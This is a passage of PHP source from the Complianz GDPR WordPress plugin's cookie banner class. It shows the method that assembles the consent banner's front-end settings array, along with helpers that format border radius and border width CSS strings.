			}
			delete_transient('cmplz_generate_css_active' );
		}



		/**
		 * Get array to output to front-end
		 * @param bool $preview
		 * @return array
		 */
		public function get_front_end_settings( $preview = false ) {
			$store_consent = cmplz_ab_testing_enabled() || cmplz_get_option('records_of_consent') === 'yes';
			$this->dismiss_timeout = $this->dismiss_on_timeout ? 1000 * $this->dismiss_timeout : false;
			$upload_url = is_ssl() ? str_replace('http://', 'https://', cmplz_upload_url()) : cmplz_upload_url();
			//check if the css file exists. if not, use default.
			$css_file = $upload_url . 'css/banner-{banner_id}-{type}.css';
			$banner_id = $this->ID;

			if ( !$preview ) {
				$upload_dir = cmplz_upload_dir();
				$consent_types = cmplz_get_used_consenttypes();

				foreach ( $consent_types as $consent_type ) {
					$file =  "css/banner-$banner_id-$consent_type.css";
					if ( ! file_exists( $upload_dir . $file ) ) {
						$css_file = cmplz_url . "cookiebanner/css/defaults/banner-{type}.css";
					}
				}
			}
			$script_debug = defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ? time() : '';
			$locale = get_locale();
			$page_links = cmplz_get_transient( "page_links_{$banner_id}_{$locale}" );
			if ( !$page_links ) {
				$page_links = COMPLIANZ::$document->get_page_links();
				cmplz_set_transient( "page_links_{$banner_id}_{$locale}", $page_links, 10 * MINUTE_IN_SECONDS);
			}

			$region = apply_filters('cmplz_user_region', COMPLIANZ::$company->get_default_region() );
			$disable_cookiebanner = $this->disable_cookiebanner || is_preview() || cmplz_is_pagebuilder_preview() || isset($_GET["cmplz_safe_mode"]);
			$output = array(
				'prefix'               => COMPLIANZ::$banner_loader->get_cookie_prefix(),
				'user_banner_id'       => apply_filters( 'cmplz_user_banner_id', cmplz_get_default_banner_id() ),
				'set_cookies'          => apply_filters( 'cmplz_set_cookies_on_consent', array() ), //cookies to set on acceptance, in order array('cookiename=>array('consent value', 'revoke value');
				'block_ajax_content'   => cmplz_get_option( 'enable_cookieblocker_ajax' ),
				'banner_version'       => $this->banner_version,
				'version'              => cmplz_version,
				'store_consent'        => $store_consent,
				'do_not_track_enabled' => cmplz_get_option('respect_dnt') !== 'no',
				'consenttype'          => COMPLIANZ::$company->get_default_consenttype(),
				'region'               => $region,
				'geoip'                => cmplz_geoip_enabled(),
				'dismiss_timeout'      => $this->dismiss_timeout,
				'disable_cookiebanner' => $disable_cookiebanner,
				'soft_cookiewall'      => (bool) $this->soft_cookiewall,
				'dismiss_on_scroll'    => (bool) $this->dismiss_on_scroll,
				'cookie_expiry'        => cmplz_get_option( 'cookie_expiry' ),
				'url'                  => get_rest_url(null, 'complianz/v1/'),
				'locale'               => 'lang='.substr( get_locale(), 0, 2 ).'&locale='.get_locale(),
				'set_cookies_on_root'  => cmplz_get_option( 'set_cookies_on_root' ),
				'cookie_domain'        => COMPLIANZ::$banner_loader->get_cookie_domain(),
				'current_policy_id'    => COMPLIANZ::$banner_loader->get_active_policy_id(),
				'cookie_path'          => COMPLIANZ::$banner_loader->get_cookie_path(),
				'categories'           => ['statistics'=> _x("statistics","as in: click to accept statistics cookies","complianz-gdpr"), 'marketing'=> _x("marketing","as in: click to accept marketing cookies","complianz-gdpr")],
				'tcf_active'           => cmplz_tcf_active(),
				'placeholdertext'      => COMPLIANZ::$cookie_blocker->blocked_content_text(),
				'css_file'             => $css_file . '?v='.$this->banner_version.$script_debug,
				'page_links'           => $page_links,
				'tm_categories'        => COMPLIANZ::$banner_loader->uses_google_tagmanager() || (cmplz_get_option('compile_statistics', false )==='matomo-tag-manager'),
				'forceEnableStats'     => !COMPLIANZ::$banner_loader->cookie_warning_required_stats( $region ),
				'preview'              => false,
				'clean_cookies'        => cmplz_get_option( 'safe_mode' ) != 1 && cmplz_get_option( 'consent_per_service' ) === 'yes',
				'aria_label'           => cmplz_get_option( 'consent_per_service' ) === 'yes' ? __( "Click button to enable {service}", 'complianz-gdpr' ) : cmplz_get_option( 'blocked_content_text' ),
			);

			$output = apply_filters( 'cmplz_cookiebanner_settings_front_end', $output, $this );
			return apply_filters( 'cmplz_cookiebanner_settings', $output, $this );
		}

		/**
		 * Get border radius string
		 * @param array $element
		 *
		 * @return string
		 */
        private function get_border_radius($element) {
	        $types = array('px', '%','em', 'rem');
            $type   = !isset($element['type']) || ! in_array( $element['type'], $types, true ) ? 'px' : $element['type'];
	        $element = wp_parse_args($element, array(
	        	'top'=>0,
	        	'right'=>0,
	        	'bottom'=>0,
	        	'left'=>0,
		        )
	        );

	        $top    = $element['top'] .  $type . ' ';
            $right  = $element['right'] .  $type . ' ';
            $bottom = $element['bottom'] .  $type . ' ';
            $left   = $element['left'] .  $type;
            return $top . $right . $bottom . $left;
        }

        private function get_border_width() {
	        $top    = isset( $this->border_width['top'] ) ? $this->border_width['top'] . 'px ' : 0;
	        $right  = isset( $this->border_width['right'] ) ? $this->border_width['right'] . 'px ' : 0;
	        $bottom = isset( $this->border_width['bottom'] ) ? $this->border_width['bottom'] . 'px ' : 0;
	        $left   = isset( $this->border_width['left'] ) ? $this->border_width['left'] . 'px ' : 0;
            return $top . $right . $bottom . $left;
        }
	}
}